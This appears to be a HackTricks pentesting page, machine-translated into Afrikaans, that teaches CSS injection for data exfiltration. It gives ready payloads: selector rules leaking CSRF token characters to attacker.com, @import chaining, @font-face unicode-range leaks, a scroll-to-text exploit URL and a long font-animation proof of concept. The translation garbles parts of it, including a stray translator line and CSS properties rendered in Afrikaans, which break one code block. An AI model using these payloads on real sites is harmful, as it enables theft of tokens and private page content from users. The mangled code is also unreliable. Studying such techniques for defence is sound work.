# CSS Injeksie

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>

**Probeer Hard Security Group**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## CSS Injeksie

### Eienskapskakelaar

CSS-selektore is saamgestel om waardes van 'n `input` element se `name` en `value` eienskappe te pas. As die waarde-eienskap van die invoerelement met 'n spesifieke karakter begin, word 'n voorafgedefinieerde eksterne bron gelaai:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### Oorweging vir Versteekte Elemente

Om hierdie beperking te omseil, kan jy 'n volgende broer-element teiken deur die `~` algemene broer-kombinasie te gebruik. Die CSS-reël geld dan vir al die broers wat volg op die versteekte invoerelement, wat veroorsaak dat die agtergrondbeeld laai:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die voorsiene kodefragment in detail beskryf. Jy kan dit [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) besigtig.

#### Vereistes vir CSS-inspuiting

Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes voldoen word:

1. **Lengte van Nutslading**: Die CSS-inspuitingsvektor moet voldoende lang nutsladings ondersteun om die saamgestelde kiesers te akkommodeer.
2. **CSS Her-evaluasie**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die her-evaluasie van CSS met nuut gegenereerde nutsladings te trigger.
3. **Eksterne Hulpbronne**: Die tegniek neem aan dat die vermoë om eksterne gehuisvese beelde te gebruik, bestaan. Dit kan beperk word deur die webwerf se Beleid vir Inhoudsekuriteit (CSP).

### Blinde Eienskapskieser

Soos [**verduidelik in hierdie pos**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die kiesers **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webbladsy wat die CSS-inspuiting laai, is nie.\
Dit is ook moontlik om daardie kiesers te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek soos in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Die volgende is 'n vertaling van die inhoud na Afrikaans:

### @import

Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet of in staat wees om **meervoudige skakels aan die slagoffer te stuur**, of jy moet in staat wees om **die CSS-inspuitingskwesbare bladsy in te sluit**.

Daar is egter 'n ander slim tegniek wat **CSS `@import`** gebruik om die kwaliteit van die tegniek te verbeter.

Dit is vir die eerste keer gewys deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) en dit werk so:

In plaas daarvan om dieselfde bladsy keer op keer met tientalle verskillende vragte te laai (soos in die vorige een), gaan ons **die bladsy net een keer laai en net met 'n invoer na die aanvallers se bediener** (dit is die vrag wat aan die slagoffer gestuur moet word):
```css
@import url('//attacker.com:5001/start?');
```
1. Die invoer gaan **'n CSS-skrip ontvang** van die aanvallers en die **blaaier gaan dit laai**.
2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur is **nog 'n `@import` na die aanvallers se bediener**.
3. Die aanvallers se bediener gaan nie hierdie versoek nog beantwoord nie, omdat ons wil 'n paar karakters lek en dan hierdie invoer beantwoord met die lading om die volgende te lek.
4. Die tweede en groter deel van die lading gaan 'n **kenmerk-selekteerder lek-lading** wees.
5. Dit gaan die aanvallers se bediener die **eerste karakter van die geheim en die laaste een** stuur.
6. Sodra die aanvallers se bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 versoek is, beantwoord**.
7. Die respons gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer **om die tweede karakter van die geheim en dan die voorlaaste een te vind**.

Die aanvaller sal **daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek**.

Jy kan die oorspronklike [**Pepe Vila se kode om hiervan te profiteer hier vind**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) of jy kan bykans dieselfde [**kode maar gekommentariseer hier vind**.](./#css-injection)

{% hint style="info" %}
Die skrip gaan probeer om elke keer 2 karakters te ontdek (van die begin en van die einde) omdat die kenmerk-selekteerder dinge soos dit toelaat:
```css
/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Dit maak dit moontlik vir die skrif om die geheim vinniger te laat uitlek.
{% endhint %}

{% hint style="warning" %}
Soms **detecteer die skrif nie korrek dat die ontdekte voorvoegsel + agtervoegsel reeds die volledige vlag is nie** en dit sal voortgaan (in die voorvoegsel) en agteruit (in die agtervoegsel) en op 'n punt sal dit vashaak.\
Moenie bekommerd wees nie, kontroleer net die **uitset** omdat **jy die vlag daar kan sien**.
{% endhint %}

### Ander kiesers

Ander maniere om toegang tot DOM-dele te verkry met **CSS-kiesers**:

* **`.klas-om-te-soek:nth-child(2)`**: Dit sal die tweede item met die klas "klas-om-te-soek" in die DOM soek.
*   **`:leeg`** kieser: Gebruik byvoorbeeld in [**hierdie skryfstuk**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**

```css
[role^="img"][aria-label="1"]:empty { background-image: url("JOU_BEDIENER_URL?1"); }
```

### Fout-gebaseerde XS-Soektog

**Verwysing:** [Aanval gebaseer op CSS: Misbruik van unicode-reeks van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Fout-Gebaseerde XS-Soektog PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)

Die algemene bedoeling is om **'n aangepaste lettertipe vanaf 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Aangepaste Lettertipe Gebruik**:
- 'n Aangepaste lettertipe word gedefinieer deur die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertipe word genoem `poc` en word gehaal vanaf 'n eksterne eindpunt (`http://attacker.com/?leak`).
- Die `unicode-range` eienskap is ingestel op `U+0041`, wat spesifiek die Unicode karakter 'A' teiken.

2. **Objek Element met Reserweteks**:
- 'n `<object>` element met `id="poc0"` word geskep in die `<body>` afdeling. Hierdie element probeer 'n bron laai vanaf `http://192.168.0.1/favicon.ico`.
- Die `font-family` vir hierdie element is ingestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die bron (`favicon.ico`) nie laai nie, word die reserweteks (die letter 'A') binne die `<object>` tag vertoon.
- Die reserweteks ('A') sal weergegee word met die aangepaste lettertipe `poc` as die eksterne bron nie gelaai kan word nie.

### Stileringsrol-na-Teikenteksfragment

Die **`:target`** pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n **URL fragment**, soos gespesifiseer in die [CSS Selectors Level 4 spesifikasie](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is noodsaaklik om te verstaan dat `::target-text` geen elemente kies tensy die teks eksplisiet geteiken word deur die fragment nie.

'n Sekuriteitskwessie ontstaan wanneer aanvallers die **Rol-na-teks** fragmentfunksie uitbuit, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webbladsy te bevestig deur 'n bron vanaf hul bediener te laai deur HTML-inspuiting. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
```css
:target::before { content : url(target.png) }
```
In sulke scenarios, as die teks "Administrateur" op die bladsy teenwoordig is, word die hulpbron `target.png` vanaf die bediener aangevra wanneer die teks teenwoordig is. 'n Geval van hierdie aanval kan uitgevoer word deur 'n spesiaal ontwerpte URL wat die ingeslote CSS saam met 'n Scroll-to-text fragment bevat:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrateur" deur die Scroll-to-text fragment (`#:~:text=Administrateur`) te teiken. As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.

Vir versagting moet die volgende punte in ag geneem word:

1. **Beperkte STTF-passing**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, wat sy vermoë om arbitrêre geheime of tokens te lek beperk.
2. **Beperking tot Top-vlak Blaaikontekste**: STTF werk slegs in top-vlak blaaikontekste en funksioneer nie binne iframes nie, wat enige uitbuitingspoging meer opvallend vir die gebruiker maak.
3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verlig die risiko van outomatiese aanvalle sonder gebruikerinteraksie aansienlik. Nietemin, die outeur van die blogpos wys op spesifieke toestande en omseilings (bv., sosiale manipulasie, interaksie met algemene blaaieruitbreidings) wat die outomatiese aard van die aanval kan vergemaklik.

Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutel tot die handhawing van websekuriteit en beskerming teen sulke uitbuitende taktieke.

Vir meer inligting, kyk na die oorspronklike verslag: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)

Jy kan 'n [**uitbuiting van hierdie tegniek vir 'n CTF hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) nagaan.

### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

Jy kan **eksterne lettertipes vir spesifieke unicode-waardes** spesifiseer wat slegs **versamel word as daardie unicode-waardes teenwoordig is** op die bladsy. Byvoorbeeld:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm
```
Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" binne omdat die teksnode van sensitive-information "A" en "B" karakters bevat. Maar Chrome en Firefox haal nie "?C" binne nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.

### Uitlek van teksnode (I): ligature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

**Verwysing:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur die uitbuiting van font ligature en die monitorering van veranderinge in breedte. Die proses behels verskeie stappe:

1. **Skepping van Aangepaste Fonts**:
- SVG fonts word geskep met glyphs wat 'n `horiz-adv-x` eienskap het, wat 'n groot breedte instel vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig.
- Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
- Hierdie fonts word dan na woff-formaat omskep deur fontforge te gebruik.

2. **Opmerking van Breedte Veranderinge**:
- CSS word gebruik om te verseker dat teks nie oorvou nie (`white-space: nowrap`) en om die skuiwerverstyl aan te pas.
- Die verskyning van 'n horisontale skuiwerver, duidelik gestileer, tree op as 'n aanwyser (orakel) dat 'n spesifieke ligature, en dus 'n spesifieke karaktervolgorde, teenwoordig is in die teks.
- Die betrokke CSS:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```

3. **Uitbuitingsproses**:
- **Stap 1**: Fonts word geskep vir pare karakters met aansienlike breedte.
- **Stap 2**: 'n Skuiwerver-gebaseerde truuk word gebruik om te bepaal wanneer die groot breedte glyph (ligature vir 'n karakterpaar) gerender word, wat die teenwoordigheid van die karaktervolgorde aandui.
- **Stap 3**: Na die opsporing van 'n ligature, word nuwe glyphs geskep wat drie-karakter volgordes verteenwoordig, wat die opgespoorde paar inkorporeer en 'n voorafgaande of volgende karakter byvoeg.
- **Stap 4**: Die opsporing van die drie-karakter ligature word uitgevoer.
- **Stap 5**: Die proses herhaal, waardeur die hele teks progressief onthul word.

4. **Optimering**:
- Die huidige inisialisasiemetode met `<meta refresh=...` is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die uitbuiting se prestasie kan verbeter.

### Uitlek van teksnode (II): lek van die karakterstel met 'n standaardfont (sonder die nodigheid van eksterne bates) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)

Hierdie truuk is vrygestel in hierdie [**Slackers-draad**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Die karakterstel wat in 'n teksnode gebruik word, kan **gelek word deur die standaardfonts** wat in die blaaier geïnstalleer is: geen eksterne -of aangepaste- fonts is nodig nie.

Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte inkrementeel uit te brei, wat een karakter op 'n slag van die 'suffix'-deel van die teks na die 'prefix'-deel laat oorgaan. Hierdie proses verdeel die teks effektief in twee afdelings:

1. **Prefix**: Die aanvanklike lyn.
2. **Suffix**: Die daaropvolgende lyn(e).

Die oorgangsfases van die karakters sou soos volg lyk:

**C**\
ADB

**CA**\
DB

**CAD**\
B

**CADB**


Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe karakter te identifiseer wanneer dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat opvallend langer as die standaardfont is, en gevolglik 'n vertikale skuiwerver veroorsaak. Die verskyning van hierdie skuiwerver onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.

Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, slegs dat 'n herhaling plaasgevind het.

{% hint style="info" %}
Basies word die **unicode-range gebruik om 'n karakter op te spoor**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **karakter gevind** is, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die karakter **groter maak** en 'n skuiwerver **aktiveer** wat die gevonde karakter sal **lek**.
{% endhint %}

Kyk na die kode wat uit die PoC onttrek is:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```afrikaans
5% { breedte: 120px }
6% { breedte: 140px }
7% { breedte: 0px }
}

div::-webkit-scrollbar {
agtergrond: blou;
}

/* side-channel */
div::-webkit-scrollbar:vertikaal {
agtergrond: blou var(--leak);
}
```
### Teksnodus uitlekking (III): lek van die karakterstel deur die karakters met 'n standaard lettertipe te verberg deur elemente te versteek (sonder om eksterne bates te vereis) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skryfstuk](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

Hierdie geval is baie soortgelyk aan die vorige een, maar in hierdie geval is die doel van die maak van spesifieke **karakters groter as ander om iets te verberg** soos 'n knoppie wat nie deur die robot gedruk moet word nie of 'n prent wat nie gelaai sal word nie. So ons kan die aksie meet (of die gebrek aan aksie) en weet of 'n spesifieke karakter binne die teks teenwoordig is.

### Teksnodus uitlekking (III): lek van die karakterstel deur kasheringstyd (sonder om eksterne bates te vereis) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skryfstuk](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

In hierdie geval kan ons probeer om te lek of 'n karakter in die teks is deur 'n vals lettertipe van dieselfde oorsprong te laai:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Indien daar 'n ooreenstemming is, sal die **lettertipe vanaf `/static/bootstrap.min.css?q=1` gelaai word**. Alhoewel dit nie suksesvol sal laai nie, moet die **blaaier dit in die skyf stoor**, en selfs al is daar geen skyf nie, is daar 'n **304 nie gewysig nie** meganisme, sodat die **reaksie vinniger moet wees** as ander dinge.

Maar as die tydverskil van die gestoorde reaksie van die nie-gestoorde een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die skrywer het genoem: Na toetsing het ek egter gevind dat die eerste probleem is dat die spoed nie baie verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` vlag gebruik, wat werklik deurdag is.

### Teksknoop uitlekking (III): lek van die karakterstel deur die tyd wat dit neem om honderde plaaslike "lettertipes" te laai (sonder om eksterne bates te vereis) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skryfstuk](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

In hierdie geval kan jy **CSS aandui om honderde valse lettertipes** van dieselfde oorsprong te laai wanneer 'n ooreenstemming plaasvind. Op hierdie manier kan jy **die tyd meet** wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
En die kode van die bot lyk so:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
So, as die lettertipe nie ooreenstem nie, word verwag dat die responstyd wanneer die bot besoek word, ongeveer 30 sekondes sal wees. Indien daar egter 'n lettertipe-ooreenkoms is, sal verskeie versoek gestuur word om die lettertipe op te haal, wat veroorsaak dat die netwerk voortdurende aktiwiteit het. Gevolglik sal dit langer neem om aan die stopvoorwaarde te voldoen en die respons te ontvang. Daarom kan die responstyd gebruik word as 'n aanduiding om te bepaal of daar 'n lettertipe-ooreenkoms is.

## Verwysings

* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)

**Try Hard Security Group**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>